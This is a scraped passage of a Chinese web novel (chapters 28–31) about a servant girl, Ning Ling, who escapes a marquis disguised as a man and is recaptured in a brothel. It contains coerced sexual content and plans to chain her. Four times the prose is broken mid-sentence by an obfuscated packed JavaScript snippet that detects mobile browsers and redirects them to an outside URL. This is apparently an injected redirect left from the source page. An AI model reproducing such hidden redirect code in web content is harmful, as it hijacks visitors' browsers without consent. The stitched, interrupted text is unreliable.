“今日侯爷能说话不算数。”宁泠摇摇头,“那承诺的以后也是不作数的。” 裴铉知她认死理,脾气犟,不欲与她争辩。 只一手拉过她小小的手掌,覆盖在其上:“那现在它怎么办?” 感受到手下的坚硬挺拔,吓得宁泠手赶紧移开。 可裴铉的手将她的小手牢牢禁锢:“总要给它些甜头吧。” 宁泠手足无措,脸上红得像发了高热,她结结巴巴:“那、那怎么办?” 裴铉让她跨、坐于自己身上,他双手环住她的腰,额头碰着她温热的额头,小声地与她说道。 宁泠听了惊慌地避开他的眼神,连连摇头:“这不行。” “那也有其他办法。”裴铉坏笑,“端看宁泠愿不愿意了。” 宁泠羞得眼眸紧闭,思考一番后,咬牙道:“那我去熄灯。” 她实在没有勇气看它。 裴铉怎肯:“害怕?闭上眼睛就成了。” 他还想看她呢,现在这副羞愤欲死的样子,可爱极了。 宁泠抵不过他,只能依言照做。 足足磨蹭了半个时辰,磨得她手心发红,手腕发酸。 他懒散倚靠在椅背上,一手带动着她,又一遍蛊惑:“它开心了,明日就让林韦德陪你去消奴籍。” 再憋下去,他也担心自己会患上不治之症。 事后他看着她颤巍巍的睫羽,轻轻吻在她眼眸,叹喟道:“真乖。” 翌日一早林韦德就候在争晖院,珍珠伺候着宁泠洗漱。 自上次被他抱回后,他就让珍珠成了她的小丫鬟。 让紫叶重新去挑选些贴身丫鬟。 宁泠不动声色地挑选昂贵的首饰:“今日可要把我打扮的漂漂亮亮。” 这些首饰都是以后可以变卖为银子,维持生计的。 珍珠兴致勃勃地为她簪发:“今日是姐姐的好日子,我知道。” 宁泠淡淡一笑,好日子吗?并不见得,如今也只有奋力一搏了。 正打算出门时,紫叶来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955102|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“紫叶姐姐有什么事情吗?”宁泠忐忑不安,她担心裴铉出尔反尔,或者察觉到了什么。 紫叶笑着将一沓银票递上:“侯爷今日有事,一早就出了门,出门前还特意嘱咐我送银票。” “哇,好多啊。”珍珠神情惊讶,“侯爷对宁泠姐姐真好。” 看着约莫有一千两,只是出门逛街,就如此大手笔。 宁泠笑着接下,心里猜测他到底是因为之前自己嘲讽他不舍得花银子,还是昨夜的辛苦费。 总之,千辛万苦、费尽心机得来的银子她不会舍弃,都是她以后谋生的积蓄。 “谢谢紫叶姐姐。”宁泠礼貌道谢,“时候不早了,我就先出门了。” 紫叶看着宁泠今日打扮甚是华丽,不似以往喜绿绦绑发,簪着一对雕花金簪,一根珍珠步摇,锁骨处也吊着一颗宝石项链。 整个人妍丽动人,浓桃艳李。 “姐姐,记得回来给我带东西啊。”珍珠俏皮地眨着眼睛。 宁泠点点头。 林韦德候在外面,见她出来后跟在身后:“马车已经准备好,宁姑娘请。” 宁泠点头,她知道自己逃跑成功后,必须有个人承受裴铉的怒意。 她思来想去,林韦德显然最合适。 而且她也没有忘记当初珍珠耳饰,他告密一事。 思及此,宁泠不自在地摸了摸自己的耳眼,因着在浣衣局长久未曾佩戴耳饰,耳眼已经完全愈合,几乎看不见任何痕迹了。 这也算是一件意料之外的好事,以后穿男装也不必担心太扎眼。 宁泠上了马车,林韦德在前方驾马。 很快就到了办公的地方,林韦德做事向来稳妥,早在出发之前就派人通知了户籍吏。 户籍吏约莫三十多岁,正当壮年,身量不高,长得瘦弱。 “林大人,此等小事何必劳烦你亲自来。”户籍吏一脸讨好,“若有下次,告知下官一声,下官将文书送过去。” 林韦德:“不必麻烦,现在办了就行。” 他说话间,宁泠带着斗笠下了马车,素白的纱遮住了她容貌。 户籍吏心里震惊,那家姑娘能让林大人充当马夫? “劳烦大人带路。”林韦德嗓门有些大,惊醒了出神的户籍吏。 他连忙引路将两人请去了安静的厢房,林韦德将准备好的东西交给他。 户籍吏手脚麻利地写着文书,盖公章。 一炷香的时间,一切就完成了。 宁泠全程安静地注视着过程,没想到自己心心念念盼望已久的事情,这么快就解决了。 权力果然是个好东西。 “林大人,能给我吗?”宁泠眼睛一眨不眨地盯着自己清白的户籍,以后她再不是奴了。 林韦德犹豫几息,侯爷并未告知他,户籍是交给宁姑娘,还是带回交与侯爷。 “侯爷,既然答应我来,莫非还不愿给我?”宁泠的气势足了几分。 林韦德想了想,还是将手中的东西给了宁泠,侯爷并未明说,想来也是这个意思。 两人回到了马车,宁泠坐在轿厢内,欣喜激动地摸着户籍,声音却很是平静:“劳烦林大人,带我去上次那个衣庄。” “是。”这些侯爷都交代过,林韦德依言照做。 马车内的宁泠,脑海里一遍遍地盘算着自己的计划,成败在此一举。 29. 第 29 章 快到衣布庄时,宁泠看见路边有一家酒铺,酒味香醇,生意热闹。 “林大人,不如在这停放马车。”宁泠问道:“我瞧着前方拥堵,估计马车进不去。刚好我们去买一壶好酒。” 林韦德老实憨厚,没有提出异议。 他当保镖跟在宁泠身后,这家酒铺看起来整洁明亮。 里面的小二,一瞧两位就是贵客。 “二位买什么?”小二热情介绍,“各类果酒、烈酒,咱们这儿应有尽有。” 宁泠思考了会:“那些酒男女都可喝?” 一般女子偏爱果酒,不易醉人。 “咱们这有上好的桂花酒,每年采摘最好的桂花酿造而成,男女老少都适宜。”小二卖力地推荐。 林韦德在身后未吭声,依他看,这些酒都比不少府里酒窖里的。 只是他知侯爷依着宁泠,他也不好开口。 “那就它了。”宁泠爽快答道。 反正这酒她也喝不上,只是掩人耳目罢了。 林韦德闻言去付银子结账,宁泠诧异地看了他一眼。 她以为紫叶给她的银子,就是为这些花销买单的。 待林韦德给小二说好马车停放后,见宁泠还是一副不解模样。 在她身边低声道:“出门前,侯爷特意叮嘱我,出门后主动结账,万不可让姑娘去。” 宁泠捂嘴偷笑,知道那天激裴铉奏效了,如此甚好,她也舍不得为他花银子。 两人接着步行前往布庄。 布庄的布置陈设还是与之前一样,或许是因为冬季,临近过年门庭若市,热闹非凡。 宁泠依旧带着斗笠,这里不少女子都是如此打扮。 她一进门,候着的娘子涌上来:“不知姑娘想要买些什么呢?” “我想买几身衣裳。”宁泠说出需求,“须得精致漂亮,一般的就不必拿出来。” 吴娘子欣喜若狂,这一听就是贵人大客户啊。 她热络道:“外面挤得很,里面有上好包厢,里面燃着上好的炭,温暖得很,姑娘不如进去慢慢选?” 宁泠看向林韦德点点头。 林韦德上次已经陪她来过一次,自觉地走向了另一个休息的地方。 宁泠心里稍稍松了一口气:“有劳带路。” 吴娘子将人领进包厢后,连忙喊小丫鬟将上好的衣裳都送进来。 吴娘子拿起衣裳一件件地为宁泠讲解,宁泠大致看了看,随手点了一件。 她接着问道:“这里可有我这般身形的男装,若有拿出来看看,我也只要好的。” 吴娘子神色懵了下。 “我有一弟弟,身形与我相当。”宁泠神情羞恼,“我本答应亲手为他做一件衣裳,做他的生辰之礼的,奈何手拙。” 吴娘子神色了然,她就好奇大户人家养的绣娘手巧得很,那里会愿意来买成衣呢? 原来是这姑娘女红不佳,想着偷偷偷龙换凤。 只要有钱谁都想赚,吴娘子小声道:“姑娘放心,我去给你悄悄拿来。” 宁泠点点头。 吴娘子知她不想被别人知晓此事,女裙下裹着不少男子衣袍拿来。 宁泠试了几件,买了两身。 一件是月白色长袍,穿在她身上衬得她似个读书人,很是秀气。 另一件是深蓝色,穿上后像个富贵人家的纨绔子弟。 两件衣袍她特意选择的高领,遮住了喉结的位置。 将三件衣裳全部结账后,宁泠装作身体不适道:“我在这稍稍休息一会,你先去忙。” 吴娘子刚挣了一笔银子,心情大好,她关心体贴道:“姑娘那里不适?可要我们去通知家人?” 宁泠那敢,连忙摇头:“许是在外久了冻着了,在这缓缓就行。” 吴娘子看了下她脸色,放下心来,就离开了包厢。 等她走后,宁泠迅速换上男子的衣袍,挽好头发。 将首饰之物一一收捡好。 本来女装男装,该用裹胸布才稳妥的,可是她没机会寻得。 幸好在浣衣局也算因祸得福,瘦的几乎一马平川。 尤其在稍显臃肿的冬装掩饰下,这点问题可以忽略不计。 至于头发,还是她骗珍珠,说想为裴铉束发才学会的。 换好衣服后,宁泠不敢耽搁,立刻朝着后院走去。 走至后院,看见停放马车的地方,宁泠不知东西跨院。 看见有喂马的仆人,她前去询问。 等终于从西门离开后,宁泠看着外面的天空,不知怎的想流泪。 她用衣角擦擦眼泪,接着赶去寻找入住的地方了。 客栈一事她早就想过,觉得不可行。 入住客栈,每位客人都要一一登记,她的户籍信息一旦暴露,裴铉顺藤摸瓜不出一日就会逮住它。 宁泠特意从西跨院的门出来,她选择此地有许多原因。 她不熟悉地形,没有路引,连码头车行在那都不知道。 她打算花些重金,在附近租房子,毕竟烟花柳巷,说不定能不用户籍登记。 消息最灵通的地方,往往是人群聚集之地。 她记得小时候大人们就爱在茶楼里喝茶聊天看戏,那里也有很多商贩。 宁泠在路边的摊贩处随意买了一个饼,她的风寒还没痊愈,嗓子带着点沙哑,分不清男女。 “大哥,附近可有歇脚喝茶的地方?”宁泠一边啃着烧饼,一边问道。 做饼的大哥看了眼宁泠,以为是哪家的读书郎君出来游玩。 他手上还沾着面粉:“沿着这条路,接着左拐,你就能看见了。” 宁泠点点头后离开。 她沿路去寻,果然找到一家茶楼。 茶楼有两层楼,一楼大厅内基本座无虚席,许多人在那,忙着店小二添茶倒水,脚不沾地。 宁泠进去寻了一个空位,随意点了一壶茶。 趁着跑堂的茶博士前来沏茶时,宁泠随意地拿出碎银子放在桌上:“不知小哥知道,这附近那里租房合适?” 茶博士笑呵呵地拿走银子:“小的认识几个相熟的房牙子,不知郎君的需求是什么?” 宁泠:“只是租一处闲暇玩乐之地,我不想太过于声张。” 她又拿出一块银子放在桌子上。 茶博士嘿嘿地笑了声,瞧着这位郎君是个正经的读书人,没想到脑筋都用在这上面了。 这里靠近花街柳市,所谓玩乐不过是狎、妓。 文人墨客向来又自视清高,多半不喜那糟乱之处。 干脆自己租房,醉生梦死。 “家中管教甚严,签字画押不能用我名。”宁泠提出最重要的一条,他看了眼犯难的茶博士,“事成之后,必有重谢。” 茶博士猜他多半已有家室,要防着人。 可是不用自己户籍签字画押,签订契约,可是一件极难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964780|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情。 要冒着很大风险,他又掂了掂手中银两,现在都这么大方,事成之后岂不是更赚一大笔。 “小的尽力而为。”他咬咬牙,说完话跑了出去。 宁泠心急如焚地等着,她只给茶博士一炷香的功夫,若是不成或是没有消息,她就速速离开。 布庄内,林韦德深深皱眉,人都进去了一个时辰,怎么还不出来? 他把守在门口处的位置,确保她没有出来。 他心里有了一种不详的预感,拉住一位跑堂的人问道:“刚才穿着一身绿衣,带斗笠的姑娘怎么还不出来?” 他的形容太简略,符合描述的人太多了。 林韦德找来管事,拿出晋阳侯府的令牌,找出接待宁泠的吴娘子。 “跟你进去的姑娘呢?”他凶神恶煞地问道。 吴娘子对林韦德有印象,背着一把大刀,吓人得很。 “那位姑娘买好衣裳后,就说她身体不适,想多待一会,让我先出去。”吴娘子老老实实地回答。 林韦德立马要求吴娘子带他去包厢。 按理说内室处还有不少女子,男子是不得擅入的。 林韦德不再废话,直接拔出大刀,横在吴娘子脖子上:“想活命就带我去。” 旁边的管事的也吓得浑身发抖,吴娘子更是六神无主;“是,是。” 等到了包厢,林韦德顾不得许多,一脚踹开门。 里面早没有身影。 “这里是不是还有其他出口?”林韦德追问。 吴娘子吓得眼泪鼻涕直流:“是有,后院有东西跨院,有两个门分别出入。” 林韦德内心震惊,他竟不知宁泠何时有了这想法。 “你同刚才的姑娘说了什么?做了什么?” 吴娘子哭喊道:“那姑娘子买了套裙子,两套男子的衣裳就没了。” 之前林韦德还心存侥幸认为她可能迷路了,但听到了男装后,他就明白了,宁泠她逃了! 他不敢再耽搁,命人牵马回府。 茶博士不负宁泠的期望,带着一位房牙子过来。 房牙子穿着简单,一双眼睛带着浑浊,相貌普通:“听说郎君要租一套宅子?” 宁泠看了眼茶博士,她本意租个小点的地方,一来省钱,二来不打眼。 但估计茶博士怕生意小,房牙子不愿往夸大了说。 “我的要求,茶博士应该和你说了。”宁泠道。 房牙子:“我手上倒是有一套合适,能用在下的名字做担保。只看郎君愿不愿意出价了。” 宁泠:“自然要先去看看,再来报价。” 房牙子和茶博士带着宁泠去了花街附近的一套小宅子,此地离花街甚近,吵闹得很。估计是因此才迟迟没人愿租。 最终宁泠以一百两银子包含押金,租下了半年的租期。 她给了茶博士五两银子当做酬谢,茶博士离别时还热情:“以后郎君有甚需求找我就成。” 宁泠心里肉疼得很,其实这宅子正常来租估计一年也就五十两。 但为了不暴露户籍,只有暂时这样了。 晋阳侯府,裴铉静静聆听着林韦德的汇报。 林韦德急得满头大汗,他本以为裴铉会暴怒。 “跑了抓回来就是。”但他似乎不甚在意,“你去打一副脚铐链子,要精致轻巧。” 她既然爱跑,那以后就将她锁在榻边,看她还怎么逃。 30. 第 30 章 不过宁泠逃跑的时机倒是挑选的很好,最近他还在为查验盛安城内资产而伤脑筋,如今是瞌睡来了有人送枕头。 “她买了两身男装?”裴铉问道。 “月牙白和深蓝色的普通成衣。”林韦德答道。 这两身衣袍的颜色在大街上随处可见,又是店铺里卖的成衣,花色款式很常见。 “你带一路人去码头车行找,重点为个子娇小、孤身一人的男子。”裴铉接着命令,“再叫上张川一行人去搜查房屋住宅户籍。” 林韦德面色迟疑:“爷,动静会不会弄得太大了?” 去查资产和户籍,岂不是谁家有多少店面铺子住宅瞬间都清清楚楚?盛安城在天子脚下,各方势力暗流涌动,牵一发而动全身。 这种行为明显会得罪很多人,下次早朝必定会被弹劾。 裴铉不屑地笑笑,新皇既然想要他做出实事、解决国库空虚的问题。那必然要有抗住文武百官的能力,不然指望他拿晋阳侯府的家产去填? 连区区弹劾都压不下来,还有本事去抄家? “按我说的做就是。”裴铉懒得多说,心里琢磨着待抓获宁泠后怎么收拾她?她向来胆大包天,不彻底断了她的念想,估计以后的小把戏也不少。 宁泠简单收拾了小宅,在外面杂货铺买了被子等杂物,还买了些木炭。 冬天寒风刺骨、天寒地冻的,若是不取暖,估计她一整晚都睡不好。 付完银子后,宁泠欲提着木炭往回走,老板是个热心人问道:“不知公子住哪,不若我让仆人帮拿过去。” 他看着这位公子手不能提,肩不能杠的模样,实在忧心。 宁泠连忙道谢,指着巷子回答:“住在巷子里第二家,谢谢你了。” “巷子里第二家?”老板停顿了一下,“看来公子是新入住的,我以前与他们相熟,第一家也是今日才入住的。” 宁泠本想向老板打听一下,附近码头车行的事情,又觉得刚入住就着急离开,实在是有点奇怪,怕给人留下太深刻印象,暴露行踪。 晚饭宁泠随意找了家食肆买了些吃食,食肆里的生意一般。 她与老板闲聊:“大哥,可知晓码头在那?” 埋头盛饭的老板还没说话,旁边的老板娘先开口了:“在城西边上呢,你若想去哪儿,还要先找附近的车马行去租马车,不然靠你一双腿走过去,怕要走到明日了。” 老板娘笑嘻嘻,又看了眼宁泠:“小哥口音听着不像外地啊。” “在下读书多年,毫无长进。”宁泠面露惭愧,“打算远游,长长见识。” 老板娘见他老实单纯的模样,又叮嘱道:“那你可去长标车行,我每次要用马车都去哪儿,物美价廉。” 宁泠继续问道:“那姐姐可知码头一日有几次船,到哪儿?” 老板娘摇摇头,将吃食装入食盒道:“我们不曾出过远门,具体的也不清楚。” 宁泠接过食盒:“待会我送来。” 老板娘笑着说:“不着急,天寒地冻的,公子明日来还食盒也成。” 宁泠点点头,回了小宅子。 当初她选择这宅子的另外一个重要原因,就是有个后门。 后门就在一家青楼对面斜角,那家花楼生意很好,里面喝酒唱传出的声音很是热闹。 宁泠一个人点燃蜡烛,在昏暗的烛火下吃着晚饭。 她不敢在外面抛头露面,害怕被人盯上。 以裴铉的性子,她就这么直接了当地跑了,他必当不会善罢甘休。 现在码头车行都知晓了,下一个问题就是该考虑去哪。 最好是人多安稳的地方,她独身一人,万万不可去穷山恶水,偏僻之地。 目前最重要的是路引,正常情况下要去何地,都要先去官府办路引,有路引才能进城。 但租房所用的户籍都能用他人的,那路引也能。 吃完饭洗漱后,忙碌了一天的宁泠灭了烛火睡觉。 争晖远内灯火通明,满院子的人都跪在门外。 裴铉身姿松懒地倚在靠背上闭目养神,林韦德最先回来。 “今日的乘船的人已经查过了,没有宁姑娘的身影。”林韦德说道。 这个结果在裴铉的意料之中,没有路引,刚出了府邸,外面一切都还不熟悉。 她没那个能耐马上逃了。 张川的消息很快传了回来,他已先将城内的客栈全部排查了一边,上面没有宁泠登记入住的信息。 当然他也趁此机会,将客栈的房契全部查看了一番。 果然有忠国公家的产业,但数量不多。 “开客栈能赚多少银子?”裴铉冷笑,给林韦德解惑,“他忠国公的野心大着呢。” “继续查。”裴铉眼眸深邃,“去查租借价格在五百两内的宅院,她手里的银子也就一千多两,不可能在上面耗费太多。她既然不住客栈,多半也是用他人之名签订房契,就查今日的。” 林韦德点点头,“各处路引登记地是否也查看?” 裴铉轻笑摇摇头:“她没那么蠢,去查查办假路引的。” 没想到她还有点本事,现在还没一点踪迹。 到了第二日,宁泠早早起床将昨日的食盒归还,又思考着去那弄路引。 她打算去附近的其他茶馆找茶博士帮忙,最好多找几个。 鸡蛋不能全部放在一个篮子的道理,她还是懂。 下午宁泠有些垂头丧气地坐在木凳上,跑了一下午。 路引这件事还没一点着落,不过她也知道此事不好办,不然也不会租半年的房子。 其实不用路引,靠着她的户籍也能外出,但是她觉得风险太大。 咚咚咚,隔壁院门传来巨大的敲门声。 吓得宁泠浑身一颤,猛地站起来,心砰怦怦怦跳得飞快。 外面传来大娘不满的声音:“来了,来了,急着投胎啊。” 接着她说话的声音戛然而止,语气客气讨好:“官爷好,不知有何事啊?” “我们奉命来清查住户。”官爷说话严肃,“快将你的房契、户籍拿来。” 那大娘唯唯诺诺答是。 宁泠心忽地一紧,她预感此事和裴铉脱不了干系。 “那官爷慢走啊。”大娘的声音继续传来,约莫已经查验完了。 隐隐约约有走向宁泠门口的脚步声。 宁泠不敢去赌,转身直奔后门。 她小跑至后门,随意找了家食肆进门。 视线却注意着小宅的动静,见一个身穿官服的衙役没多久就跟着从后门出来。 他在街道转了转,似乎想揪出人。 但是花街人来人往,他不知长相,只能面色恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969402|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒地离去了。 宁泠从食肆坐到天黑,直到小二前来提醒:“公子,我们要打烊了。” 她从食肆离开,满心忧愁。 她花了一大笔银子才住了一夜,可她又不敢回去。 她有预感那宅子必定已处在监视之下,就等着守株待兔。 可宁泠又不敢去客栈,莫非今夜要露宿街头了? 在街道上徘徊的宁泠被冻得面色发白,手脚冰凉。 花街的晴娘站在街道边揽客,一见宁泠双眼放光:“公子外面冷,快进屋来玩呀。” 她柔软的身子依靠在宁泠身上,胸脯熟练地挤向他。 宁泠大惊失色,连忙想躲开。 晴娘怎会放过他,水蛇似的腰缠上他:“进来嘛,咱们春宵一度,公子再美美睡上一觉,岂不快战?” 宁泠心思微动,既然客栈宅子都回不去,总不能等着睡大街被冻死。 她放松身体,不再挣扎。 小娘子会心一笑,将他拉进了楼内。 花楼内红绸帷幔遮掩,正中央有着一个莲花台,莲花台附近水雾氤氲,仙气飘飘。 一个女子穿着暴露,肩膀小腿赤、裸在外,在台上跳着舞,舞姿摇曳。 里面有许多碳炉,宁泠一进来就觉得缓和惬意。 被冻僵的手脚缓了缓,她对小娘子说道:“来个包厢。” 晴娘心神意会,带着他去了二楼的一间客房。 接着她就开始扒宁泠的衣服,宁泠红着脸呵斥道:“不准动手动脚。” 晴娘不满地瘪瘪嘴,来了花楼还装什么清高。 宁泠咳嗽几声:“可会什么才艺?” 晴娘柔声:“唱曲,跳舞都会,公子喜欢什么?” “那就唱曲吧,就唱你拿手的。”宁泠随意说道,来了花楼,什么不做难免惹人怀疑。 清脆悦耳的声音传来,宁泠赞赏了几句。 “公子,您才高八斗,不若帮奴谱曲?”晴娘娇俏求道。 以往不少读书人为她们作曲,若是运气好,说不定一举成为花魁。 宁泠十分惭愧,她披着一副读书人的皮,实则连字都认不全。 “你在这儿南来北往的人见得多了,可听说哪处繁华热闹?”宁泠打探消息。 晴娘被拒绝了也不恼,笑吟吟道:“要说繁华之地,那必是江南了,妾身上穿着衣裙都是江南产的呢。” 宁泠熟稔地抛出一块碎银,晴娘眉开眼笑。 “小娘子在这消息灵通,想来也认识不少达官贵人吧?” “公子可是想打探些什么消息?”晴娘追问道。 “非也、非也。”宁泠摇摇头,忧心忡忡:“我家为我定下一门亲事,那是个母夜叉,日日劝着我读书上进。” 晴娘联系之前的对话问道:“公子,可是想去江南躲一躲?” “我倒是想躲,可家里人盯得紧呐。”宁泠神情绝望,“恐怕我前脚出门,他们后脚就跟着路引追过来了。” 晴娘懂了:“公子是想要一份假路引?” “花楼人买醉酣睡的人不少。”宁泠附耳道,“你去找个和我身形容貌相似的人,弄来他的路引。” 假路引有危险,还是真的最好。 虽然路引上有地名,估计不是她想去的江南。 可眼下燃眉之急是先离开盛安城。 31. 第 31 章 晴娘愣了愣,还真没想到这个办法。 又笑嘻嘻问道:“此事可是有极大风险呢,一不小心妾身就被打死了。” 宁泠知道她夸大其词,路引比不上金银之物值钱,只是手续麻烦。 “这是定金。”宁泠大手笔地扔下一根金簪,“若是事成,再给你二十两。” 银子花的太快了,宁泠要节约些。 盛安城的当铺,她不敢去。 不过晴娘久居此事,金簪又是常见之物,刚好合适。 晴娘笑眯眯地拿着金簪出去了。 夜深了,宁泠将门栓好,她还不放心费力地搬来一站木桌,死死抵住门内,窗户也检查关好。 花楼里暖如春日、香气扑鼻,哪里都好。 唯一不好之处就是隔壁暧昧的娇声,时不时传来。 “爷,妾身伺候得好不好?”女子娇滴滴的嗓音传来。 男子喘着粗气:“许久没见,你倒是越□□荡了。” “那爷想不想我?” 木床嘎嘎作响的声音加大,男子大声道:“想你得很,好好伺候爷,若伺候地舒坦了,以后爷给你赎身,清清白白抬你进门做妾。” 女子的呻.吟声更大,极大地取悦了男子。 听得宁泠面红耳赤,到了后半夜才熬不过睡意,昏昏沉沉睡去。 争晖院内,林韦德神色紧张:“侯爷,还是没有宁姑娘的消息。” 盛安城内都快被翻个顶朝天了,偏偏半点消息都没。 他都怀疑她是不是跑出盛京了? “没查出来的宅子都派人守着了?”裴铉的眉心拧了几分,“城内但凡能住店的酒肆、茶楼、酒楼等等都通通去查,还有哪些暗探桩子也该用用了。” 他掘地三尺,还不信找不出来了。 林韦德点点头,带着人马又离开了。 酒楼里常常有不少富家子弟,通宵旦达地谈天论地。 宁泠这一觉睡得很沉,直至晌午才悠悠转转地醒来。 她听见外面有不少响动,起身挪开木桌打开门。 外面一位花娘嘤嘤地哭着,旁边几个花娘围成团似乎正在安慰她。 “男人床笫上的鬼话,你也信?”一个花娘似乎怒其不争。 “我怎么知道。”那个花娘哭得更厉害了,“昨儿他还说给我赎身,以后抬我做妾呢。谁知道今日一起来,将我身上的现银和首饰都偷走了。” 其他花娘在那劝道:“说给咱们赎身的男人,一日不知遇见多少个。你年纪小,被人哄骗也是正常,以后值钱的物件自己可要注意了。” “就是,哪些臭男人怎么看得上咱们,我们出身卑贱,他们就是图咱们身子。” 她们的声音引来老鸨,老鸨担心吵醒客人,将她们驱散。 一些恩客们醒了开始叫吃食,宁泠跟着喊了吃食。 饭菜上桌吃饱后,宁泠有心想要找晴娘,询问结果。 不过她觉得此事估计要徐徐图之,恐怕没那么容易得手。 她百无聊赖地在房间里待着。 到了快晚饭时辰,林韦德匆匆忙忙赶来,脸色不太好看。 裴铉不紧不慢地瞥了眼他:“有消息了?” “是。”林韦德面色难看,“在怡红楼里,探子来报说,有个身材瘦弱,皮肤白皙的斯文书生昨晚进楼,还出主意花重金让她们偷路引。” 一听着描述,裴铉就肯定是宁泠。 这还真是意料之外,他还真没想到她吃了熊心豹子胆,敢独身一人去青楼楚馆。 “怡红楼背后主子是谁?”裴铉问道。 “忠国公。”林韦德答。 裴铉冷笑一声,难怪被查出来了。 他那好叔父可是最喜欢赠妾,搞这些莺莺燕燕打探消息。 他自然要半路劫道,坐享其成。 所以他也安了不少探子在忠国公身边打探消息,怪只怪宁泠运气不好,要是躲进了其他秦楼,一时半会他还真想不到哪儿去。 眼看到了用饭时辰,裴铉站起身理理衣角的皱褶,朝着门外迈步。 林韦德紧跟而上,知道侯爷要去接宁姑娘了。 冬季的初雪,飘飘洒洒从天空落下,先是点点雪花,接着是鹅毛大雪。 房间内无聊的宁泠,终于等到晴娘,她问道:“可有了消息?” 晴娘摇摇头:“郎君,哪有那般凑巧的事情。你放心,我让我身边的小姐妹一起帮忙,估计也就这几日。” 宁泠怕她又来扒她衣服,干脆出了房间,趴在楼道的栏杆上。 俯视着楼下莲台跳舞的花魁,外面时不时有客人进来。 屋外的寒风趁机跑进了屋内,洁白无瑕的雪也跟着进来。 宁泠看着外面的落雪,已经在街道上铺满一层,甚是好看。 她收回眼,接着看花魁妖娆多姿的舞步。 又是一阵寒风吹了进来,靠近门口坐着的门破口大骂:“他娘的,是谁开门这么大?” 大家伙谁进来,都是开一道门缝挤进来。 众人抬头一看,来人气宇轩昂,英俊潇洒。 五官立体,在昏黄的烛火下,更显得线条利落,轮廓分明。 进来后,裴铉抬起眼皮子睨了眼那男子,林韦德大步向前,直接一脚将那人踹翻倒地。 宁泠站在二楼,将眼下发生的一切尽收眼底。 浑身如同坠入冰窖,全身颤抖。 他找到她了! 宁泠脑袋如同浆糊一般混乱,她第一个反应就是逃,跑得越远越好。 裴铉似有心灵感应般,抬头一看,正对上宁泠惊恐的视线。 他好整以暇地歪头一笑,接着悠哉悠哉地拾阶而上。 宁泠匆忙地环顾四周想跑,可看见四面都是穿着晋阳侯府衣裳的侍卫。 她明明是坐在上位,居高临下的,但裴铉才是一副从容不迫的上位者姿态。 宁泠吓得手指并拢,紧紧抓住衣角。 裴铉一步步,一步步像她靠近。 众人噤若寒蝉,一看这架势就知道是贵人,不少人偷偷摸摸地跑了,怕惹麻烦上身。 宁泠吓得面色惨白,呼吸急促。 她站在二楼,身姿单薄,穿着一身深蓝色衣袍,瞧着像个娇蛮的富家少爷。 别有一番风情,裴铉问她:“这三天玩得可开心?” 宁泠唇线紧抿,心里苦涩。 裴铉抬眼眉眼带笑:“称心如意地逃出来了,这么还顶着一张苦瓜脸呢?” 宁泠心存侥幸问道:“侯爷真不愿放我一马?” 下面的人巴头探脑,有心偷听。 林韦德抽出大刀一挥,吓得众人惊慌而逃。 “你说这话,可就是倒打一耙了。”裴铉高大的身影笼罩着她,“明明是你欺骗在先,怎又成我的不是了。” 宁泠又惊又怕,她不知待她回去,裴铉会用什么丧心病狂的手段折磨她。 她紧缩深眉,眼神黯淡。 “现在哭还早了。”裴铉神情莫测,“回去有你哭的时候。” 他的手攥着她纤细的手腕,似乎要将她的骨头捏碎。 宁泠紧紧扒着栏杆,如同溺水的人抓住救命稻草,不肯松手:“我不回去。” 语气慷锵有力,看来是铁了心。 裴铉矜贵俊朗的脸阴沉,似笑非笑:“还是真硬骨头,敬酒不吃吃罚酒。” 话一说完,直接将人扛到肩头。 宁泠顿时感觉天旋地转,头晕想吐。 裴铉带着她随意踹开一间客房,接着扔在塌上,居高临下地俯视着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975545|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁泠害怕得瑟瑟发抖,他似乎将她视为猎物般,要将她拆骨入腹才肯善罢甘休。 她连滚带爬地躲在床角,一双泪眼楚楚可怜地乞求着他。 “现在知道怕了?”裴铉并不掩饰眼眸里的色.欲。 宁泠环视着四周环境,想着昨晚不堪入耳的靡靡之音。 她带着哭音道:“侯爷,我们先回去,成吗?” 再怎么样,也不能在这床榻上。 